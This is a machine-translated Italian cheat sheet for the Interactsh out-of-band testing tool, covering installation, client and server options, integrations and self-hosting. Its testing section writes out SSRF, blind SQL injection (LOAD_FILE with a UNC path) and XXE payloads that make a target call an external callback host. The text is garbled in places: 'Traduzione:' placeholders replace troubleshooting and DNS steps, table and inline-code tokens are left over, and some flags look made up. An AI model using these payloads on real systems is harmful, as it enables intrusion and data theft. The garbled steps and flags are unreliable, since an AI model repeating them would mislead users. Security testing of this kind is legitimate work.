Vai al contenuto

Interactsh OOB Interaction Gathering Cheat Sheet

Panoramica

Interactsh è uno strumento open source sviluppato da Project Discovery per rilevare le interazioni out-of-band (OOB). È progettato per identificare le vulnerabilità che causano interazioni esterne, come Server-Side Request Forgery (SSRF), Blind SQL Injection, XML External Entity (XXE) Iniezione, e altre vulnerabilità che potrebbero non essere immediatamente visibili attraverso metodi di test tradizionali.

Ciò che rende Interactsh unico è il suo approccio completo al test OOB. A differenza di altri strumenti che si concentrano su protocolli specifici, Interactsh può rilevare le interazioni tra più protocolli, tra cui DNS, HTTP(S), SMTP(S), e LDAP. Si compone di entrambi un componente server che cattura e registra queste interazioni e un componente client che genera URL di test unici e monitor per qualsiasi interazione con tali URL.

Interactsh è ampiamente usato nei test di sicurezza per identificare le vulnerabilità che potrebbero altrimenti andare inosservate. È particolarmente prezioso per cacciatori di taglie di bug, tester di penetrazione e ricercatori di sicurezza che hanno bisogno di verificare l'esistenza di vulnerabilità che si basano su interazioni esterne. Lo strumento è integrato anche con Nuclei, un altro strumento Project Discovery, che consente la scansione automatizzata delle vulnerabilità con capacità di rilevamento OOB.

Installazione

Installazione client

Using Go
# Install using Go (requires Go 1.20 or later)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# Verify installation
interactsh-client -version
Using Docker
# Pull the latest Docker image
docker pull projectdiscovery/interactsh:latest

# Run Interactsh client using Docker
docker run -it projectdiscovery/interactsh:latest client -h
Using Homebrew (macOS)
# Install using Homebrew
brew install interactsh-client

# Verify installation
interactsh-client -version
Using PDTM (Project Discovery Tools Manager)
# Install PDTM first if not already installed
go install -v github.com/projectdiscovery/pdtm/cmd/pdtm@latest

# Install Interactsh client using PDTM
pdtm -i interactsh-client

# Verify installation
interactsh-client -version

Installazione server (Self-Hosted)

Using Go
# Install using Go (requires Go 1.20 or later)
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-server@latest

# Verify installation
interactsh-server -version
Using Docker
# Pull the latest Docker image
docker pull projectdiscovery/interactsh:latest

# Run Interactsh server using Docker
docker run -it projectdiscovery/interactsh:latest server -h

Uso di base

Uso del cliente

# Start the client with default settings
interactsh-client

# Start the client with verbose output
interactsh-client -v

# Start the client with a specific server
interactsh-client -server your-interactsh-server.com

Uso del server (Self-Hosted)

# Start the server with default settings
interactsh-server

# Start the server with a specific domain
interactsh-server -domain your-domain.com

# Start the server with verbose output
interactsh-server -v

Opzioni di uscita

# Save interactions to a file
interactsh-client -o interactions.log

# Output in JSON format
interactsh-client -json -o interactions.json

# Silent mode (no banner)
interactsh-client -silent

Configurazione client

Configurazione di base

# Set polling interval (seconds)
interactsh-client -poll-interval 5

# Set interaction timeout (seconds)
interactsh-client -interaction-timeout 60

# Enable persistent session
interactsh-client -persistent-session

# Use a specific correlation ID
interactsh-client -correlation-id your-correlation-id

Autenticazione

# Use token for authentication
interactsh-client -token your-auth-token

# Use a specific server with token
interactsh-client -server your-interactsh-server.com -token your-auth-token

Filtering

# Filter interactions by type
interactsh-client -filter-type dns,http

# Filter interactions by IP
interactsh-client -filter-ip 1.2.3.4

# Filter interactions by content
interactsh-client -filter-content "admin"

Configurazione server (Self-Hosted)

Configurazione del dominio

# Set domain for the server
interactsh-server -domain your-domain.com

# Set wildcard domain
interactsh-server -domain your-domain.com -wildcard

# Set IP address to listen on
interactsh-server -ip 1.2.3.4

Configurazione del certificato

# Use Let's Encrypt for certificates
interactsh-server -domain your-domain.com -letsencrypt

# Use custom certificates
interactsh-server -domain your-domain.com -cert cert.pem -key key.pem

Configurazione dell'autenticazione

# Enable authentication
interactsh-server -auth

# Set token for authentication
interactsh-server -auth-token your-auth-token

# Set token file for authentication
interactsh-server -auth-token-file tokens.txt

Uso avanzato

Caratteristiche avanzate del cliente

# Generate a specific number of URLs
interactsh-client -n 5

# Generate URLs with a specific payload
interactsh-client -payload-template "\\\\{\\\\{random\\\\}\\\\}.your-domain.com"

# Enable DNS callback only
interactsh-client -dns-only

# Enable HTTP callback only
interactsh-client -http-only

# Enable SMTP callback only
interactsh-client -smtp-only

Caratteristiche avanzate del server

# Enable specific services
interactsh-server -dns -http -smtp -ldap

# Disable specific services
interactsh-server -no-dns -no-http -no-smtp -no-ldap

# Set custom ports
interactsh-server -dns-port 53 -http-port 80 -https-port 443 -smtp-port 25 -smtps-port 587 -ldap-port 389

# Enable metrics
interactsh-server -metrics

Payload Generation

# Generate a URL for testing
interactsh-client -generate-url

# Generate multiple URLs
interactsh-client -generate-url -n 5

# Generate URL with specific server
interactsh-client -generate-url -server your-interactsh-server.com

Integrazione con altri strumenti

Integrazione con Nuclei

# Use Interactsh with Nuclei
nuclei -u https://example.com -t nuclei-templates/

# Use a specific Interactsh server with Nuclei
nuclei -u https://example.com -t nuclei-templates/ -interactsh-server your-interactsh-server.com

# Disable Interactsh in Nuclei
nuclei -u https://example.com -t nuclei-templates/ -no-interactsh

Integrazione con notifica

# Send Interactsh interactions to Discord
interactsh-client|notify -provider discord

# Send filtered interactions to Slack
interactsh-client -filter-type http|notify -provider slack

Integrazione con Script personalizzati

# Use Interactsh in a bash script
#!/bin/bash
URL=$(interactsh-client -generate-url)
curl -s "https://example.com/test?url=$URL"
interactsh-client -poll-interval 5 -interaction-timeout 30

Testare le vulnerabilità

Testing SSRF

# Generate a URL for SSRF testing
URL=$(interactsh-client -generate-url)

# Use the URL in a potential SSRF vulnerability
curl -s "https://example.com/fetch?url=http://$URL/test"

# Monitor for interactions
interactsh-client -poll-interval 5 -interaction-timeout 30

# Testing Blind SQL Injection

# Generate a URL for Blind SQL Injection testing
URL=$(interactsh-client -generate-url)

# Use the URL in a SQL query
curl -s "https://example.com/search?id=1' UNION SELECT LOAD_FILE(CONCAT('\\\\',$URL,'\\share'))"

# Monitor for interactions
interactsh-client -poll-interval 5 -interaction-timeout 30

Testare l'iniezione XXE

# Generate a URL for XXE testing
URL=$(interactsh-client -generate-url)

# Create an XML payload with XXE
cat > xxe.xml << EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://$URL/xxe">
]>
<foo>&xxe;</foo>
EOF

# Send the XML payload
curl -s -X POST -d @xxe.xml -H "Content-Type: application/xml" https://example.com/api

# Monitor for interactions
interactsh-client -poll-interval 5 -interaction-timeout 30

Risoluzione dei problemi

Questioni comuni

  1. **No Interazioni rilevate ** Traduzione:

  2. ** Problemi di concorrenza ** Traduzione:

  3. ** Problemi di autenticazione ** Traduzione:

  4. Server Setup Issues Traduzione:

Debugging

# Enable verbose mode for client
interactsh-client -v

# Enable debug mode for client
interactsh-client -debug

# Enable verbose mode for server
interactsh-server -v

# Enable debug mode for server
interactsh-server -debug

Guida auto-ossessionante

Configurazione DNS

Per Host Interactsh devi configurare le impostazioni DNS del tuo dominio:

  1. Registra un dominio (ad esempio, your-domain.com)
  2. Impostare i record NS per il tuo dominio per puntare al server: Traduzione:
  3. Impostare un record per i vostri nameserver: Traduzione:

Impostazione server

# Start the server with your domain
interactsh-server -domain your-domain.com

# Enable Let's Encrypt for HTTPS
interactsh-server -domain your-domain.com -letsencrypt

# Enable authentication
interactsh-server -domain your-domain.com -auth -auth-token your-auth-token

Docker Deployment

# Create a docker-compose.yml file
cat > docker-compose.yml << EOF
version: '3'
services:
  interactsh-server:
    image: projectdiscovery/interactsh:latest
    command: server -domain your-domain.com -letsencrypt -auth -auth-token your-auth-token
    ports:
      - "53:53/udp"
      - "80:80"
      - "443:443"
      - "25:25"
      - "587:587"
      - "389:389"
    restart: always
EOF

# Start the server
docker-compose up -d

Configurazione

Client Configuration File

Interactsh client utilizza un file di configurazione situato in $HOME/.config/interactsh-client/config.yaml. È possibile personalizzare varie impostazioni in questo file:

# Example configuration file
server: oast.pro
token: your-auth-token
poll-interval: 5
interaction-timeout: 60
filter-type: dns,http

Server Configuration File

Interactsh server utilizza un file di configurazione situato in __INLINE_CODE_38_. È possibile personalizzare varie impostazioni in questo file:

# Example configuration file
domain: your-domain.com
ip: 1.2.3.4
letsencrypt: true
auth: true
auth-token: your-auth-token

Variabili ambientali

# Set Interactsh client configuration via environment variables
export INTERACTSH_SERVER=oast.pro
export INTERACTSH_TOKEN=your-auth-token
export INTERACTSH_POLL_INTERVAL=5
export INTERACTSH_INTERACTION_TIMEOUT=60

# Set Interactsh server configuration via environment variables
export INTERACTSH_DOMAIN=your-domain.com
export INTERACTSH_IP=1.2.3.4
export INTERACTSH_LETSENCRYPT=true
export INTERACTSH_AUTH=true
export INTERACTSH_AUTH_TOKEN=your-auth-token

Riferimento

Opzioni della linea di comando client

Tabella_95_

Opzioni della linea di comando del server

Tabella_96_

Tipi di interazione supportati

TABELLA

Risorse


*Questo foglio di scacchi fornisce un riferimento completo per l'utilizzo di Interactsh, dal client di base e dall'utilizzo del server alla configurazione avanzata e all'integrazione con altri strumenti. Per le informazioni più aggiornate, consultare sempre la documentazione ufficiale. *